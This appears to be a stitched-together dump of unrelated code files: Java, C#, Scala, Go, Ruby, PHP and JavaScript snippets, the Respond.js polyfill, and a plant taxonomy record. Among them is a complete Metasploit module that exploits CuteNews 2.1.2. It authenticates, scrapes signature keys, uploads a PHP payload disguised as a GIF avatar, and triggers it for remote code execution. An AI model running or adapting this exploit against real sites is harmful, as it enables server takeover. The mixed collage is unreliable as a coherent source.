org.apache.commons.collections4.multiset.AbstractMapMultiSet.MultiSetEntry<E>

org.apache.commons.collections4.iterators.AbstractUntypedIteratorDecorator<I,O> (implements java.util.Iterator<E>)

org.apache.commons.collections4.iterators.AbstractIteratorDecorator<E>

org.apache.commons.collections4.multiset.AbstractMapMultiSet.UniqueSetIterator<E>

org.apache.commons.collections4.collection.SynchronizedCollection<E> (implements java.util.Collection<E>, java.io.Serializable)

org.apache.commons.collections4.multiset.SynchronizedMultiSet<E> (implements org.apache.commons.collections4.MultiSet<E>)

Overview

Package

Class

Use

Tree

Deprecated

Index

Help

Prev

Next

Frames

No Frames

All Classes

Copyright © 2001–2015 The Apache Software Foundation. All rights reserved.


text:
package com.tlf.msg.platform.domain;

import java.util.Date;

public class Permission {
    private Long entityOid;

    private Long appOid;

    private Long businessOid;

    private Long templateOid;

    private String status;

    private String createdBy;

    private Date createdDate;

    private String lastUpdBy;

    private Date lastUpdDate;

    public Long getEntityOid() {
        return entityOid;
    }

    public void setEntityOid(Long entityOid) {
        this.entityOid = entityOid;
    }

    public Long getAppOid() {
        return appOid;
    }

    public void setAppOid(Long appOid) {
        this.appOid = appOid;
    }

    public Long getBusinessOid() {
        return businessOid;
    }

    public void setBusinessOid(Long businessOid) {
        this.businessOid = businessOid;
    }

    public Long getTemplateOid() {
        return templateOid;
    }

    public void setTemplateOid(Long templateOid) {
        this.templateOid = templateOid;
    }

    public String getStatus() {
        return status;
    }

    public void setStatus(String status) {
        this.status = status == null ? null : status.trim();
    }

    public String getCreatedBy() {
        return createdBy;
    }

    public void setCreatedBy(String createdBy) {
        this.createdBy = createdBy == null ? null : createdBy.trim();
    }

    public Date getCreatedDate() {
        return createdDate;
    }

    public void setCreatedDate(Date createdDate) {
        this.createdDate = createdDate;
    }

    public String getLastUpdBy() {
        return lastUpdBy;
    }

    public void setLastUpdBy(String lastUpdBy) {
        this.lastUpdBy = lastUpdBy == null ? null : lastUpdBy.trim();
    }

    public Date getLastUpdDate() {
        return lastUpdDate;
    }

    public void setLastUpdDate(Date lastUpdDate) {
        this.lastUpdDate = lastUpdDate;
    }
}


text:
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.

/*=============================================================================
**
**
**
** Purpose: The exception class for some failed P/Invoke calls.
**
**
=============================================================================*/

namespace System {

    using System;
    using System.Runtime.Serialization;

    [System.Runtime.InteropServices.ComVisible(true)]
    [Serializable]
    public class DllNotFoundException : TypeLoadException {
        public DllNotFoundException()
            : base(Environment.GetResourceString("Arg_DllNotFoundException")) {
            SetErrorCode(__HResults.COR_E_DLLNOTFOUND);
        }

        public DllNotFoundException(String message)
            : base(message) {
            SetErrorCode(__HResults.COR_E_DLLNOTFOUND);
        }

        public DllNotFoundException(String message, Exception inner)
            : base(message, inner) {
            SetErrorCode(__HResults.COR_E_DLLNOTFOUND);
        }

        protected DllNotFoundException(SerializationInfo info, StreamingContext context) : base(info, context) {
        }
    }
}


text:
GitLens provides a rich interactive settings editor, an easy-to-use interface, to configure many of GitLens' powerful features.

💡 Use the [GitLens: Open Settings](command:gitlens.showSettingsPage) command from the [Command Palette](command:workbench.action.quickOpen?%22>GitLens%3A%20Open%20Settings%22) to open it.


text:
package org.camunda.feel.interpreter.impl.builtin

import org.scalatest.FlatSpec
import org.scalatest.Matchers
import org.camunda.feel.interpreter.impl.FeelIntegrationTest
import org.camunda.feel.syntaxtree._

import scala.math.BigDecimal.double2bigDecimal
import scala.math.BigDecimal.int2bigDecimal

/**
  * @author Philipp
  */
class BuiltinNumberFunctionsTest
    extends FlatSpec
    with Matchers
    with FeelIntegrationTest {

  "A decimal() function" should "return number with a given scale" in {

    eval(" decimal((1/3), 2) ") should be(ValNumber(0.33))
    eval(" decimal(1.5, 0) ") should be(ValNumber(2))
    eval(" decimal(2.5, 0) ") should be(ValNumber(2))
  }

  "A floor() function" should "return greatest integer <= _" in {

    eval(" floor(1.5) ") should be(ValNumber(1))
    eval(" floor(-1.5) ") should be(ValNumber(-2))
  }

  "A ceiling() function" should "return smallest integer >= _" in {

    eval(" ceiling(1.5) ") should be(ValNumber(2))
    eval(" ceiling(-1.5) ") should be(ValNumber(-1))
  }

  "A abs() function" should "return absolute value" in {

    eval(" abs(10) ") should be(ValNumber(10))
    eval(" abs(-10) ") should be(ValNumber(10))
  }

  "A modulo() function" should "return the remainder of the division of dividend by divisor" in {

    eval(" modulo(12, 5) ") should be(ValNumber(2))
  }

  "A sqrt() function" should "return square root" in {

    eval(" sqrt(16) ") should be(ValNumber(4))
    eval(" sqrt(-1) ") should be(ValNull)
  }

  "A log() function" should "return natural logarithm" in {

    eval(" log( 10 ) ") should be(ValNumber(2.302585092994046))
  }

  "A exp() function" should "return Euler's number e raised to the power of number" in {

    eval(" exp( 5 ) ") should be(ValNumber(148.4131591025766))
  }

  "A odd() function" should "return true if number is odd" in {

    eval(" odd(5) ") should be(ValBoolean(true))
    eval(" odd(2) ") should be(ValBoolean(false))
  }

  "A even() function" should "return true if number is even" in {

    eval(" even(5) ") should be(ValBoolean(false))
    eval(" even(2) ") should be(ValBoolean(true))
  }

}


text:
package fxlog

import (
	"testing"

	"github.com/stretchr/testify/assert"
	"go.uber.org/fx/internal/testutil"
	"go.uber.org/goleak"
)

func TestNew(t *testing.T) {
	t.Parallel()

	assert.NotPanics(t, func() {
		DefaultLogger(testutil.WriteSyncer{T: t})
	})
}

func TestMain(m *testing.M) {
	goleak.VerifyTestMain(m)
}


text:
package org.apache.cassandra.index.sasi.analyzer.filter;

import java.util.Locale;

/**
 * Basic/General Token Filters
 */
public class BasicResultFilters
{
    private static final Locale DEFAULT_LOCALE = Locale.getDefault();

    public static class LowerCase extends FilterPipelineTask<String, String>
    {
        private Locale locale;

        public LowerCase(Locale locale)
        {
            this.locale = locale;
        }

        public LowerCase()
        {
            this.locale = DEFAULT_LOCALE;
        }

        public String process(String input) throws Exception
        {
            return input.toLowerCase(locale);
        }
    }

    public static class UpperCase extends FilterPipelineTask<String, String>
    {
        private Locale locale;

        public UpperCase(Locale locale)
        {
            this.locale = locale;
        }

        public UpperCase()
        {
            this.locale = DEFAULT_LOCALE;
        }

        public String process(String input) throws Exception
        {
            return input.toUpperCase(locale);
        }
    }

    public static class NoOperation extends FilterPipelineTask<Object, Object>
    {
        public Object process(Object input) throws Exception
        {
            return input;
        }
    }
}


text:
require 'active_support/concern'

module ActiveJob
  module Unique
    module Adapters
      module SidekiqAdapter
        module AdapterApiStats
          extend ActiveSupport::Concern

          module ClassMethods
            def initialize_progress_stats(stats_jobs_key, job_name)
              day = sequence_today
              day_score = day * DAILY_SCORE_BASE

              Sidekiq.redis_pool.with do |conn|
                score = conn.zincrby(stats_jobs_key, 1.0, job_name).to_f
                conn.zadd(stats_jobs_key, [day_score, job_name]) if score < day_score
              end
            end

            def incr_progress_stats(stats_key, field_name, day)
              Sidekiq.redis_pool.with do |conn|
                conn.multi do |multi|
                  # all time
                  multi.hsetnx(stats_key, field_name, 0)
                  multi.hincrby(stats_key, field_name, 1)

                  # daily
                  multi.hsetnx("#{stats_key}:#{day}", field_name, 0)
                  multi.hincrby("#{stats_key}:#{day}", field_name, 1)
                end
              end
            end

          end
          # end ClassMethods

        end
      end
    end
  end
end


text:
var assert = require("assert")
describe('Equallity', function(){

    var a = 10;
    var b = 10;

    it('should be equal', function(){
      assert.equal(a, b);
    });

})


text:
using Foundation;
using System.CodeDom.Compiler;

namespace Toggl.iOS.Cells.Settings
{
	[Register ("SettingCell")]
	partial class SettingCell
	{
		[Outlet]
		UIKit.UILabel DetailLabel { get; set; }

		[Outlet]
		UIKit.NSLayoutConstraint RightConstraint { get; set; }

		[Outlet]
		UIKit.UILabel TitleLabel { get; set; }

		void ReleaseDesignerOutlets ()
		{
			if (DetailLabel != null) {
				DetailLabel.Dispose ();
				DetailLabel = null;
			}

			if (TitleLabel != null) {
				TitleLabel.Dispose ();
				TitleLabel = null;
			}

			if (RightConstraint != null) {
				RightConstraint.Dispose ();
				RightConstraint = null;
			}
		}
	}
}


text:
<?php

class Logout extends CodonModule
{
	public function index()
	{
		Auth::LogOut();

		/*redirect back to front page
		*/
		header('Location: '.url('/'));
		#$this->set('redir', SITE_URL);
		#$this->render('login_complete.tpl');
	}
}


text:
/*! NOTE: If you're already including a window.matchMedia polyfill via Modernizr or otherwise, you don't need this part */

window.matchMedia = window.matchMedia || (function (doc, undefined) {

    "use strict";

    var bool,
            docElem = doc.documentElement,
            refNode = docElem.firstElementChild || docElem.firstChild,
            // fakeBody required for <FF4 when executed in <head>
            fakeBody = doc.createElement("body"),
            div = doc.createElement("div");

    div.id = "mq-test-1";
    div.style.cssText = "position:absolute;top:-100em";
    fakeBody.style.background = "none";
    fakeBody.appendChild(div);

    return function (q) {

        div.innerHTML = "<style media=\"" + q + "\"> #mq-test-1 { width: 42px; }</style>";

        docElem.insertBefore(fakeBody, refNode);
        bool = div.offsetWidth === 42;
        docElem.removeChild(fakeBody);

        return {
            matches: bool,
            media: q
        };

    };

}(document));

/*! Respond.js v1.3.0: min/max-width media query polyfill. (c) Scott Jehl. MIT/GPLv2 Lic. j.mp/respondjs  */
(function (win) {

    "use strict";

    //exposed namespace
    var respond = {};
    win.respond = respond;

    //define update even in native-mq-supporting browsers, to avoid errors
    respond.update = function () {
    };

    //expose media query support flag for external use
    respond.mediaQueriesSupported = win.matchMedia && win.matchMedia("only all").matches;

    //if media queries are supported, exit here
    if (respond.mediaQueriesSupported) {
        return;
    }

    //define vars
    var doc = win.document,
            docElem = doc.documentElement,
            mediastyles = [],
            rules = [],
            appendedEls = [],
            parsedSheets = {},
            resizeThrottle = 30,
            head = doc.getElementsByTagName("head")[0] || docElem,
            base = doc.getElementsByTagName("base")[0],
            links = head.getElementsByTagName("link"),
            requestQueue = [],
            //loop stylesheets, send text content to translate
            ripCSS = function () {

                for (var i = 0; i < links.length; i++) {
                    var sheet = links[ i ],
                            href = sheet.href,
                            media = sheet.media,
                            isCSS = sheet.rel && sheet.rel.toLowerCase() === "stylesheet";

                    //only links plz and prevent re-parsing
                    if (!!href && isCSS && !parsedSheets[ href ]) {
                        // selectivizr exposes css through the rawCssText expando
                        if (sheet.styleSheet && sheet.styleSheet.rawCssText) {
                            translate(sheet.styleSheet.rawCssText, href, media);
                            parsedSheets[ href ] = true;
                        } else {
                            if ((!/^([a-zA-Z:]*\/\/)/.test(href) && !base) ||
                                    href.replace(RegExp.$1, "").split("/")[0] === win.location.host) {
                                requestQueue.push({
                                    href: href,
                                    media: media
                                });
                            }
                        }
                    }
                }
                makeRequests();
            },
            //recurse through request queue, get css text
            makeRequests = function () {
                if (requestQueue.length) {
                    var thisRequest = requestQueue.shift();

                    ajax(thisRequest.href, function (styles) {
                        translate(styles, thisRequest.href, thisRequest.media);
                        parsedSheets[ thisRequest.href ] = true;

                        // by wrapping recursive function call in setTimeout
                        // we prevent "Stack overflow" error in IE7
                        win.setTimeout(function () {
                            makeRequests();
                        }, 0);
                    });
                }
            },
            //find media blocks in css text, convert to style blocks
            translate = function (styles, href, media) {
                var qs = styles.match(/@media[^\{]+\{([^\{\}]*\{[^\}\{]*\})+/gi),
                        ql = qs && qs.length || 0;

                //try to get CSS path
                href = href.substring(0, href.lastIndexOf("/"));

                var repUrls = function (css) {
                    return css.replace(/(url\()['"]?([^\/\)'"][^:\)'"]+)['"]?(\))/g, "$1" + href + "$2$3");
                },
                        useMedia = !ql && media;

                //if path exists, tack on trailing slash
                if (href.length) {
                    href += "/";
                }

                //if no internal queries exist, but media attr does, use that
                //note: this currently lacks support for situations where a media attr is specified on a link AND
                //its associated stylesheet has internal CSS media queries.
                //In those cases, the media attribute will currently be ignored.
                if (useMedia) {
                    ql = 1;
                }

                for (var i = 0; i < ql; i++) {
                    var fullq, thisq, eachq, eql;

                    //media attr
                    if (useMedia) {
                        fullq = media;
                        rules.push(repUrls(styles));
                    }
                    //parse for styles
                    else {
                        fullq = qs[ i ].match(/@media *([^\{]+)\{([\S\s]+?)$/) && RegExp.$1;
                        rules.push(RegExp.$2 && repUrls(RegExp.$2));
                    }

                    eachq = fullq.split(",");
                    eql = eachq.length;

                    for (var j = 0; j < eql; j++) {
                        thisq = eachq[ j ];
                        mediastyles.push({
                            media: thisq.split("(")[ 0 ].match(/(only\s+)?([a-zA-Z]+)\s?/) && RegExp.$2 || "all",
                            rules: rules.length - 1,
                            hasquery: thisq.indexOf("(") > -1,
                            minw: thisq.match(/\(\s*min\-width\s*:\s*(\s*[0-9\.]+)(px|em)\s*\)/) && parseFloat(RegExp.$1) + (RegExp.$2 || ""),
                            maxw: thisq.match(/\(\s*max\-width\s*:\s*(\s*[0-9\.]+)(px|em)\s*\)/) && parseFloat(RegExp.$1) + (RegExp.$2 || "")
                        });
                    }
                }

                applyMedia();

            },
            lastCall,
            resizeDefer,
            // returns the value of 1em in pixels
            getEmValue = function () {
                var ret,
                        div = doc.createElement('div'),
                        body = doc.body,
                        fakeUsed = false;

                div.style.cssText = "position:absolute;font-size:1em;width:1em";

                if (!body) {
                    body = fakeUsed = doc.createElement("body");
                    body.style.background = "none";
                }

                body.appendChild(div);

                docElem.insertBefore(body, docElem.firstChild);

                ret = div.offsetWidth;

                if (fakeUsed) {
                    docElem.removeChild(body);
                }
                else {
                    body.removeChild(div);
                }

                //also update eminpx before returning
                ret = eminpx = parseFloat(ret);

                return ret;
            },
            //cached container for 1em value, populated the first time it's needed
            eminpx,
            //enable/disable styles
            applyMedia = function (fromResize) {
                var name = "clientWidth",
                        docElemProp = docElem[ name ],
                        currWidth = doc.compatMode === "CSS1Compat" && docElemProp || doc.body[ name ] || docElemProp,
                        styleBlocks = {},
                        lastLink = links[ links.length - 1 ],
                        now = (new Date()).getTime();

                //throttle resize calls
                if (fromResize && lastCall && now - lastCall < resizeThrottle) {
                    win.clearTimeout(resizeDefer);
                    resizeDefer = win.setTimeout(applyMedia, resizeThrottle);
                    return;
                }
                else {
                    lastCall = now;
                }

                for (var i in mediastyles) {
                    if (mediastyles.hasOwnProperty(i)) {
                        var thisstyle = mediastyles[ i ],
                                min = thisstyle.minw,
                                max = thisstyle.maxw,
                                minnull = min === null,
                                maxnull = max === null,
                                em = "em";

                        if (!!min) {
                            min = parseFloat(min) * (min.indexOf(em) > -1 ? (eminpx || getEmValue()) : 1);
                        }
                        if (!!max) {
                            max = parseFloat(max) * (max.indexOf(em) > -1 ? (eminpx || getEmValue()) : 1);
                        }

                        // if there's no media query at all (the () part), or min or max is not null, and if either is present, they're true
                        if (!thisstyle.hasquery || (!minnull || !maxnull) && (minnull || currWidth >= min) && (maxnull || currWidth <= max)) {
                            if (!styleBlocks[ thisstyle.media ]) {
                                styleBlocks[ thisstyle.media ] = [];
                            }
                            styleBlocks[ thisstyle.media ].push(rules[ thisstyle.rules ]);
                        }
                    }
                }

                //remove any existing respond style element(s)
                for (var j in appendedEls) {
                    if (appendedEls.hasOwnProperty(j)) {
                        if (appendedEls[ j ] && appendedEls[ j ].parentNode === head) {
                            head.removeChild(appendedEls[ j ]);
                        }
                    }
                }

                //inject active styles, grouped by media type
                for (var k in styleBlocks) {
                    if (styleBlocks.hasOwnProperty(k)) {
                        var ss = doc.createElement("style"),
                                css = styleBlocks[ k ].join("\n");

                        ss.type = "text/css";
                        ss.media = k;

                        //originally, ss was appended to a documentFragment and sheets were appended in bulk.
                        //this caused crashes in IE in a number of circumstances, such as when the HTML element had a bg image set, so appending beforehand seems best. Thanks to @dvelyk for the initial research on this one!
                        head.insertBefore(ss, lastLink.nextSibling);

                        if (ss.styleSheet) {
                            ss.styleSheet.cssText = css;
                        }
                        else {
                            ss.appendChild(doc.createTextNode(css));
                        }

                        //push to appendedEls to track for later removal
                        appendedEls.push(ss);
                    }
                }

            },
            //tweaked Ajax functions from Quirksmode
            ajax = function (url, callback) {
                var req = xmlHttp();
                if (!req) {
                    return;
                }
                req.open("GET", url, true);
                req.onreadystatechange = function () {
                    if (req.readyState !== 4 || req.status !== 200 && req.status !== 304) {
                        return;
                    }
                    callback(req.responseText);
                };
                if (req.readyState === 4) {
                    return;
                }
                req.send(null);
            },
            //define ajax obj
            xmlHttp = (function () {
                var xmlhttpmethod = false;
                try {
                    xmlhttpmethod = new win.XMLHttpRequest();
                }
                catch (e) {
                    xmlhttpmethod = new win.ActiveXObject("Microsoft.XMLHTTP");
                }
                return function () {
                    return xmlhttpmethod;
                };
            })();

    //translate CSS
    ripCSS();

    //expose update for re-running respond later on
    respond.update = ripCSS;

    //adjust on resize
    function callMedia() {
        applyMedia(true);
    }
    if (win.addEventListener) {
        win.addEventListener("resize", callMedia, false);
    }
    else if (win.attachEvent) {
        win.attachEvent("onresize", callMedia);
    }
    /*
     function ieupdates(callback) {
     window.onload = function() {
     respond.update()

     callback();
     };
     // console.log('respond fired onload');

     }
     ieupdates(function() {
     jQuery(document).ready(function($) {

     });
     });*/

})(this);


text:
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => "CuteNews 2.1.2 - 'avatar' Remote Code Execution",
      'Description' => %q(
        This module exploits a command execution vulnerability in CuteNews prior to 2.1.2.
        The attacker can infiltrate the server through the avatar upload process in the profile area.
        There is no realistic control of the $imgsize function in "/core/modules/dashboard.php"
        Header content of the file can be changed and the control can be bypassed.
        We can use the "GIF" header for this process.
        An ordinary user is enough to exploit the vulnerability. No need for admin user.
        The module creates a file for you and allows RCE.
      ),
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module
        ],
      'References' =>
        [
          ['URL', 'http://pentest.com.tr/exploits/CuteNews-2-1-2-Remote-Code-Execution-Metasploit.html'],
          ['URL', 'http://cutephp.com'] # Official Website
        ],
      'Platform' => 'php',
      'Arch' => ARCH_PHP,
      'Targets' => [['Automatic', {}]],
      'Privileged' => false,
      'DisclosureDate' => "Apr 14 2019",
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, "Base CutePHP directory path", '/CuteNews']),
        OptString.new('USERNAME', [true, "Username to authenticate with", 'admin']),
        OptString.new('PASSWORD', [false, "Password to authenticate with", 'admin'])
      ]
    )
  end

  def exec
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "uploads","avatar_#{datastore['USERNAME']}_#{@shell}") # shell url
    })
  end
##
# Login and cookie information gathering
##

  def login(uname, pass, check)
    # 1st request to get cookie
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vars_post' => {
        'action' => 'dologin',
        'username' => uname,
        'password' => pass
      }
    )

    cookie = res.get_cookies
    # 2nd request to cookie validation
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "index.php"),
      'cookie'   => cookie
    })

    if res.code = 200 && (res.body =~ /dashboard/)
      return cookie
    end

    fail_with(Failure::NoAccess, "Authentication was unsuccessful with user: #{uname}")
    return nil
  end

  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end
##
# Upload malicious file // payload integration
##
  def upload_shell(cookie, check)

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "index.php?mod=main&opt=personal"),
      'cookie'   => cookie
    })

    signkey = res.body.split('__signature_key" value="')[1].split('"')[0]
    signdsi = res.body.split('__signature_dsi" value="')[1].split('"')[0]
    # data preparation
    fname = Rex::Text.rand_text_alpha_lower(8) + ".php"
    @shell = "#{fname}"
    pdata = Rex::MIME::Message.new
    pdata.add_part('main', nil, nil, 'form-data; name="mod"')
    pdata.add_part('personal', nil, nil, 'form-data; name="opt"')
    pdata.add_part("#{signkey}", nil, nil, 'form-data; name="__signature_key"')
    pdata.add_part("#{signdsi}", nil, nil, 'form-data; name="__signature_dsi"')
    pdata.add_part('', nil, nil, 'form-data; name="editpassword"')
    pdata.add_part('', nil, nil, 'form-data; name="confirmpassword"')
    pdata.add_part("#{datastore['USERNAME']}", nil, nil, 'form-data; name="editnickname"')
    pdata.add_part("GIF\r\n" + payload.encoded, 'image/png', nil, "form-data; name=\"avatar_file\"; filename=\"#{fname}\"")
    pdata.add_part('', nil, nil, 'form-data; name="more[site]"')
    pdata.add_part('', nil, nil, 'form-data; name="more[about]"')
    data = pdata.to_s

    res = send_request_cgi({
      'method' => 'POST',
      'data'  => data,
      'agent' => 'Mozilla',
      'ctype' => "multipart/form-data; boundary=#{pdata.bound}",
      'cookie' => cookie,
      'uri' => normalize_uri(target_uri.path, "index.php")
    })

    if res && res.code == 200 && res.body =~ /User info updated!/
      print_status("Trying to upload #{fname}")
      return true
    else
      fail_with(Failure::NoAccess, 'Error occurred during uploading!')
      return false
    end

  end
##
# Exploit controls and information
##
  def exploit
    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end

    cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
    print_good("Authentication was successful with user: #{datastore['USERNAME']}")

    if upload_shell(cookie, true)
      print_good("Upload successfully.")
      exec
    end
  end
##
# Version and Vulnerability Check
##
  def check

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "index.php")
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    if res.code == 200
      version = res.body.split('target="_blank">CuteNews ')[1].split('</a>')[0]
      if version < '2.1.3'
       print_status("#{peer} - CuteNews is #{version}")
       return Exploit::CheckCode::Vulnerable
      end
    end

    return Exploit::CheckCode::Safe
  end
end
##
# The end of the adventure (o_O) // AkkuS
##


text:
ACCEPTED

#### According to
The Catalogue of Life, 3rd January 2011

#### Published in
null

#### Original name
Selinocarpus diffusus var. parvifolius Torr.

### Remarks
null